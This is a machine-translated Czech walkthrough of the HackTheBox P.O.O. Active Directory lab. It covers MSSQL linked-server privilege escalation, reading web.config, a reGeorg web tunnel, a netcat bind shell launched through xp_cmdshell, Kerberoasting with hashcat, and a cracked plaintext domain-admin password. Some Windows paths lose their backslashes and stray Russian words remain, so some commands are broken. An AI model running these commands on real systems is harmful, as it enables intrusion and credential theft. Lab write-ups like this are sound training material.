HackTheBox endgame. Procházení laboratoře Professional Offensive Operations. Pentest Active Directory

HackTheBox endgame. Procházení laboratoře Professional Offensive Operations. Pentest Active Directory

V tomto článku se budeme zabývat postupem nejen pro jedno zařízení, ale celou mini laboratoří na platformě. HackTheBox.

Jak je uvedeno v popisu, P.O.O. je určeno k testování dovedností na všech etapách útoků v malém prostředí Active Directory. Cílem je kompromitovat dostupný hostitel, zvýšit privilegium a nakonec kompromitovat celou doménu, přičemž shromáždí 5 vlajek.

Připojení k laboratoři se provádí přes VPN. Doporučuje se nepřipojovat se z pracovního počítače nebo z hostitele, kde máte důležitá data, protože se dostáváte do soukromé sítě s lidmi, kteří něco umí v oblasti kybernetické bezpečnosti 🙂

Organizační informace
Abychom vás mohli informovat o nových článcích, softwaru a dalších informacích, vytvořil jsem kanál na Telegramu a skupinu pro diskuzi jakýchkoli otázek v oblasti IKT. Také vaše osobní žádosti, otázky, návrhy a doporučení projednám osobně a odpovím všem.

Veškeré informace jsou poskytovány výhradně pro vzdělávací účely. Autor tohoto dokumentu nenese žádnou odpovědnost za jakoukoli škodu způsobenou komukoli v důsledku použití znalostí a metod získaných studií tohoto dokumentu.

Úvod

Tento endgame se skládá ze dvou strojů a obsahuje 5 vlajek.

HackTheBox endgame. Procházení laboratoře Professional Offensive Operations. Pentest Active Directory

Také je uveden popis a adresa dostupného hostitele.

HackTheBox endgame. Procházení laboratoře Professional Offensive Operations. Pentest Active Directory

Začněme!

Recon vlajka

Tento stroj má IP adresu 10.13.38.11, kterou přidávám do /etc/hosts.
10.13.38.11 poo.htb

Nejdříve skenujeme otevřené porty. Protože skenování všech portů nmapem trvá dlouho, udělám to nejprve pomocí masscanu. Skenujeme všechny TCP a UDP porty z rozhraní tun0 rychlostí 500 paketů za sekundu.

sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500

HackTheBox endgame. Procházení laboratoře Professional Offensive Operations. Pentest Active Directory

Nyní pro získání podrobnějších informací o službách, které běží na portech, spustíme skenování s volbou -A.

nmap -A poo.htb -p80,1433

HackTheBox endgame. Procházení laboratoře Professional Offensive Operations. Pentest Active Directory

Takto máme služby IIS a MSSQL. Zároveň zjišťujeme skutečné DNS jméno domény a počítače. Na webovém serveru nás vítá domovská stránka IIS.

HackTheBox endgame. Procházení laboratoře Professional Offensive Operations. Pentest Active Directory

Pojďme prozkoumat adresáře. Používám k tomu gobuster. V parametrech uvádím počet vláken 128 (-t), URL (-u), slovník (-w) a rozšíření, která nás zajímají (-x).

gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html

HackTheBox endgame. Procházení laboratoře Professional Offensive Operations. Pentest Active Directory

Takto máme HTTP autentizaci pro adresář /admin a také dostupný soubor úložiště služby pracovní plochy .DS_Store. .DS_Store jsou soubory, které uchovávají uživatelská nastavení pro složku, jako je seznam souborů, umístění ikon, vybraný obrázek na pozadí. Takový soubor se může dostat do adresáře webového serveru k webovým vývojářům. Takže získáme informace o obsahu adresáře. K tomu můžeme použít DS_Store crawler.

python3 dsstore_crawler.py -i http://poo.htb/

HackTheBox endgame. Procházení laboratoře Professional Offensive Operations. Pentest Active Directory

Získáváme obsah katalogu. Nejzajímavější je zde katalog \/dev, ze kterého si ve dvou větvích můžeme prohlédnout zdrojové soubory a soubory db. Ale můžeme první 4 znaky názvů souborů a adresářů, pokud je služba zranitelná vůči IIS ShortName. Přítomnost této zranitelnosti lze zkontrolovat pomocí IIS shortname Scanner.

HackTheBox endgame. Procházení laboratoře Professional Offensive Operations. Pentest Active Directory

A nacházíme jeden textový soubor, který začíná na "poo_co". Nevědouc, co dělat dál, jsem prostě vybral ze slovníku adresářů všechna slova začínající na "co".

cat \/usr\/share\/seclists\/Discovery\/Web-Content\/raft-large-words.txt | grep -i "^co" > co_words.txt

A přebíráme pomocí wfuzz.

wfuzz -w .\/co_words.txt -u "http:\/\/poo.htb\/dev\/dca66d38fd916317687e1390a420c3fc\/db\/poo_FUZZ.txt" --hc 404

HackTheBox endgame. Procházení laboratoře Professional Offensive Operations. Pentest Active Directory

A nacházíme vhodné slovo! Podíváme se na tento soubor, uložíme přihlašovací údaje (soudě podle parametru DBNAME, pocházejí z MSSQL).

HackTheBox endgame. Procházení laboratoře Professional Offensive Operations. Pentest Active Directory

Odevzdáváme vlajku a postupujeme o 20%.

HackTheBox endgame. Procházení laboratoře Professional Offensive Operations. Pentest Active Directory

Huh vlajka

Připojujeme se k MSSQL, používám DBeaver.

HackTheBox endgame. Procházení laboratoře Professional Offensive Operations. Pentest Active Directory

V této databázi nenacházíme nic zajímavého, pojďme vytvořit SQL editor a zkontrolovat, kteří jsou uživatelé.

SELECT name FROM master..syslogins;

HackTheBox endgame. Procházení laboratoře Professional Offensive Operations. Pentest Active Directory

Máme dva uživatele. Pojďme zkontrolovat své privilegium.

SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');

HackTheBox endgame. Procházení laboratoře Professional Offensive Operations. Pentest Active Directory

Takto žádná privilegium nemáme. Podívejme se na spojené servery, o této metodice jsem podrobně psal zde.

SELECT * FROM master..sysservers;

HackTheBox endgame. Procházení laboratoře Professional Offensive Operations. Pentest Active Directory

Takto nacházíme další SQL Server. Pojďme zkontrolovat provádění příkazů na tomto serveru pomocí openquery().

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');

HackTheBox endgame. Procházení laboratoře Professional Offensive Operations. Pentest Active Directory

A dokonce můžeme vytvářet strom dotazů.

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');

Faktem je, že když provádíme dotaz na spojeném serveru, dotaz se provádí v kontextu jiného uživatele! Pojďme se podívat, v jakém kontextu pracujeme na spojeném serveru.

SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');

HackTheBox endgame. Procházení laboratoře Professional Offensive Operations. Pentest Active Directory

A nyní se podívejme, v jakém kontextu se provádějí dotazy ze spojeného serveru na náš!

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');

HackTheBox endgame. Procházení laboratoře Professional Offensive Operations. Pentest Active Directory

Takto je to kontext DBO, který by měl mít všechna privilegium. Pojďme zkontrolovat privilegium v případě dotazu ze spojeného serveru.

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');

HackTheBox endgame. Procházení laboratoře Professional Offensive Operations. Pentest Active Directory

Jak si můžete všimnout, máme všechna oprávnění! Vytvořme si tedy svého administrátora. Ale přes openquery to nejde, udělejme to přes EXECUTE AT.

EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";

A nyní se připojujeme s údaji nového uživatele a sledujeme novou databázi flag.

HackTheBox endgame. Procházení laboratoře Professional Offensive Operations. Pentest Active Directory

Odevzdáme tento flag a jdeme dál.

HackTheBox endgame. Procházení laboratoře Professional Offensive Operations. Pentest Active Directory

BackTrack flag

Získáme shell pomocí MSSQL, používám mssqlclient z balíčku impacket.

mssqlclient.py ralf:ralfralf@poo.htb -db POO_PUBLIC

HackTheBox endgame. Procházení laboratoře Professional Offensive Operations. Pentest Active Directory

Musíme se dostat k heslům, a první, co jsme již viděli, je web. Potřebujeme tedy konfiguraci webového serveru (se shozem удобный shell to zřejmě nefunguje, firewall blokuje).

HackTheBox endgame. Procházení laboratoře Professional Offensive Operations. Pentest Active Directory

Ale přístup je zakázán. I když můžeme přečíst soubor z MSSQL, musíme jen vědět, jaké programovací jazyky jsou nakonfigurovány. A v adresáři MSSQL zjistíme, že je zde Python.

HackTheBox endgame. Procházení laboratoře Professional Offensive Operations. Pentest Active Directory

Pak není problém přečíst soubor web.config.

EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"

HackTheBox endgame. Procházení laboratoře Professional Offensive Operations. Pentest Active Directory

S nalezenými údaji se přihlásíme na /admin a vezmeme flag.

HackTheBox endgame. Procházení laboratoře Professional Offensive Operations. Pentest Active Directory

HackTheBox endgame. Procházení laboratoře Professional Offensive Operations. Pentest Active Directory

Foothold flag

Ve skutečnosti jsou s použitím firewallu určitá omezení, ale při kontrole síťových nastavení si všimneme, že se používá i děr IPv6!

HackTheBox endgame. Procházení laboratoře Professional Offensive Operations. Pentest Active Directory

Přidáme tuto adresu do /etc/hosts.
dead:babe::1001 poo6.htb
Znovu prozkoumejme hostitele, ale už podle protokolu IPv6.

HackTheBox endgame. Procházení laboratoře Professional Offensive Operations. Pentest Active Directory

A na IPv6 je dostupná služba WinRM. Připojíme se s nalezenými údaji.

HackTheBox endgame. Procházení laboratoře Professional Offensive Operations. Pentest Active Directory

Na ploše je flag, odevzdáme ho.

HackTheBox endgame. Procházení laboratoře Professional Offensive Operations. Pentest Active Directory

P00ned flag

Po provedení průzkumu na hostiteli s pomocí winpeas nenacházíme nic zvláštního. Poté bylo rozhodnuto znovu hledat uživatelské údaje (o tom jsem také psal článek). Ale získat všechna SPN ze systému přes WinRM se mi nepodařilo.

setspn.exe -T intranet.poo -Q *
/*

HackTheBox endgame. Procházení laboratoře Professional Offensive Operations. Pentest Active Directory

Udělejme příkaz přes MSSQL.

HackTheBox endgame. Procházení laboratoře Professional Offensive Operations. Pentest Active Directory

Tímto způsobem získáváme SPN uživatelů p00_hr a p00_adm, což znamená, že jsou zranitelní vůči útoku známému jako Kerberoasting. Zjednodušeně řečeno, můžeme získat hashe jejich hesel.

Nejprve je potřeba získat stabilní shell pod uživatelským jménem MSSQL. Vzhledem k omezenému přístupu máme spojení s hostitelem pouze přes porty 80 a 1433. Existuje však možnost tunelování provozu přes port 80! K tomu použijeme následující aplikaci. Nahrajeme soubor tunnel.aspx do domovského adresáře webového serveru — C:inetpubwwwroot.

HackTheBox endgame. Procházení laboratoře Professional Offensive Operations. Pentest Active Directory

Při pokusu o jeho přístup však obdržíme chybu 404. To znamená, že soubory *.aspx nejsou vykonávány. Aby soubory s tímto rozšířením byly vykonávány, nainstalujeme ASP.NET 4.5 následujícím způsobem.

dism /online /enable-feature /all /featurename:IIS-ASPNET45

HackTheBox endgame. Procházení laboratoře Professional Offensive Operations. Pentest Active Directory

HackTheBox endgame. Procházení laboratoře Professional Offensive Operations. Pentest Active Directory

A nyní, když přistoupíme k tunnel.aspx, dostáváme odpověď, že vše je připraveno k práci.

HackTheBox endgame. Procházení laboratoře Professional Offensive Operations. Pentest Active Directory

Pojďme spustit klientskou část aplikace, která se postará o přenos provozu. Budeme přesměrovávat všechen provoz z portu 5432 na server.

python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx

HackTheBox endgame. Procházení laboratoře Professional Offensive Operations. Pentest Active Directory

A používáme proxychains, abychom odesílali provoz jakékoli aplikace přes náš proxy. Přidáme tento proxy do konfiguračního souboru /etc/proxychains.conf.

HackTheBox endgame. Procházení laboratoře Professional Offensive Operations. Pentest Active Directory

Nyní nahrajeme na server program netcat, se kterým vytvoříme stabilní bind shell, a skript Invoke-Kerberoast, s jehož pomocí provedeme útok Kerberoasting.

HackTheBox endgame. Procházení laboratoře Professional Offensive Operations. Pentest Active Directory

Nyní spustíme listener přes MSSQL.

xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321

HackTheBox endgame. Procházení laboratoře Professional Offensive Operations. Pentest Active Directory

A připojíme se přes náš proxy.

proxychains rlwrap nc poo.htb 4321

HackTheBox endgame. Procházení laboratoře Professional Offensive Operations. Pentest Active Directory

A pojďme získat hashe.

. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt

HackTheBox endgame. Procházení laboratoře Professional Offensive Operations. Pentest Active Directory

Dále je třeba tyto hashe procházet. Protože ve slovníku rockyou nebyla žádná z těchto hesel, použil jsem VŠECHNY slovníky hesel dostupné v Seclists. Procházení provedeme pomocí hashcat.

hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force

A najdeme obě hesla, první ve slovníku dutch_passwordlist.txt a druhé v Keyboard-Combinations.txt.

HackTheBox endgame. Procházení laboratoře Professional Offensive Operations. Pentest Active Directory

HackTheBox endgame. Procházení laboratoře Professional Offensive Operations. Pentest Active Directory

A tak máme tři uživatele, jdeme na doménový řadič. Nejprve zjistíme jeho adresu.

HackTheBox endgame. Procházení laboratoře Professional Offensive Operations. Pentest Active Directory

Skvělé, zjistili jsme IP adresu doménového kontroléru. Pojďme zjistit všechny uživatele domény a také kdo z nich je administrátor. Načteme skript PowerView.ps1 pro získání informací. Poté se připojíme pomocí evil-winrm s parametrem -s, který bude obsahovat adresář se skriptem. A pak jednoduše nahrajeme skript PowerView.

HackTheBox endgame. Procházení laboratoře Professional Offensive Operations. Pentest Active Directory

Nyní máme přístup ke všem jeho funkcím. Uživatel p00_adm se zdá být privilegovaným, takže budeme pracovat v jeho kontextu. Vytvoříme objekt PSCredential pro tohoto uživatele.

$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass

Nyní budou všechny příkazy PowerShell, kde uvedeme Creds, vykonány jménem p00_adm. Pojďme vypsat seznam uživatelů a atribut AdminCount.

Get-NetUser -DomainController dc -Credential $Creds | select name,admincount

HackTheBox endgame. Procházení laboratoře Professional Offensive Operations. Pentest Active Directory

A tak, náš uživatel skutečně je privilegovaný. Pojďme se podívat, v jakých skupinách se nachází.

Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds

HackTheBox endgame. Procházení laboratoře Professional Offensive Operations. Pentest Active Directory

Nakonec potvrzujeme, že uživatel je administrátorem domény. To mu dává právo na vzdálený přístup na doménový kontrolér. Zkusme se přihlásit přes WinRM pomocí našeho tunelu. Zmatek mi způsobily chyby, které vydával reGeorg při použití evil-winrm.

HackTheBox endgame. Procházení laboratoře Professional Offensive Operations. Pentest Active Directory

Takže využijeme jiný, snazší způsob, skript jak se připojit k WinRM. Otevřeme a změníme parametry připojení.

HackTheBox endgame. Procházení laboratoře Professional Offensive Operations. Pentest Active Directory

Zkoušíme se připojit a jsme v systému.

HackTheBox endgame. Procházení laboratoře Professional Offensive Operations. Pentest Active Directory

Ale flag není. Tak se podívejme na uživatele a zkontrolujme pracovní plochy.

HackTheBox endgame. Procházení laboratoře Professional Offensive Operations. Pentest Active Directory

U mr3ks nacházíme flag a laboratoř je úspěšně dokončena na 100%.

HackTheBox endgame. Procházení laboratoře Professional Offensive Operations. Pentest Active Directory

A to je vše. Jako zpětnou vazbu, dejte nám vědět — dozvěděli jste se něco nového z tohoto článku a byl pro vás užitečný.

Můžete se k nám připojit na Telegram. Tam najdete zajímavé materiály, únikové kurzy a také software. Pojďme vytvořit komunitu, kde budou lidé, kteří se vyznají v mnoha oblastech IT, abychom si vždy mohli vzájemně pomoci s jakýmikoli otázkami IT a bezpečnosti.

Zdroj: habr.com

Koupit spolehlivý hosting pro webové stránky s ochranou proti DDoS, VPS VDS servery 🔥 Koupit spolehlivý hosting pro webové stránky s ochranou proti DDoS, VPS VDS servery | ProHoster